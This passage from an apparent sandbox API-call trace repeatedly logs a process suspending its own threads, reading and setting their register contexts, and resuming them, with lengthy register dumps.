hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x108) returned 1 [0293.137] SuspendThread (hThread=0x108) returned 0x0 [0293.137] GetThreadContext (in: hThread=0x108, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137908, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xed3185, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0293.416] SetThreadContext (hThread=0x108, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137900, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0293.570] ResumeThread (hThread=0x108) returned 0x1 [0293.570] CloseHandle (hObject=0x108) returned 1 [0293.570] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0293.710] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0293.822] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0294.002] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0294.371] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x108) returned 1 [0294.371] SuspendThread (hThread=0x108) returned 0x0 [0294.371] GetThreadContext (in: hThread=0x108, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ff868, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe96050, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0294.506] ResumeThread (hThread=0x108) returned 0x1 [0294.506] CloseHandle (hObject=0x108) returned 1 [0294.506] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0294.658] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0294.777] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0295.078] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0295.447] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x10c) returned 1 [0295.447] SuspendThread (hThread=0x10c) returned 0x0 [0295.447] GetThreadContext (in: hThread=0x10c, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10282, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00013f938, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe71f40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0295.696] ResumeThread (hThread=0x10c) returned 0x1 [0295.696] CloseHandle (hObject=0x10c) returned 1 [0295.696] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0295.828] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0295.968] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0296.278] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0296.749] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0x10c) returned 1 [0296.749] SuspendThread (hThread=0x10c) returned 0x0 [0296.749] GetThreadContext (in: hThread=0x10c, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffe58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe99120, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, 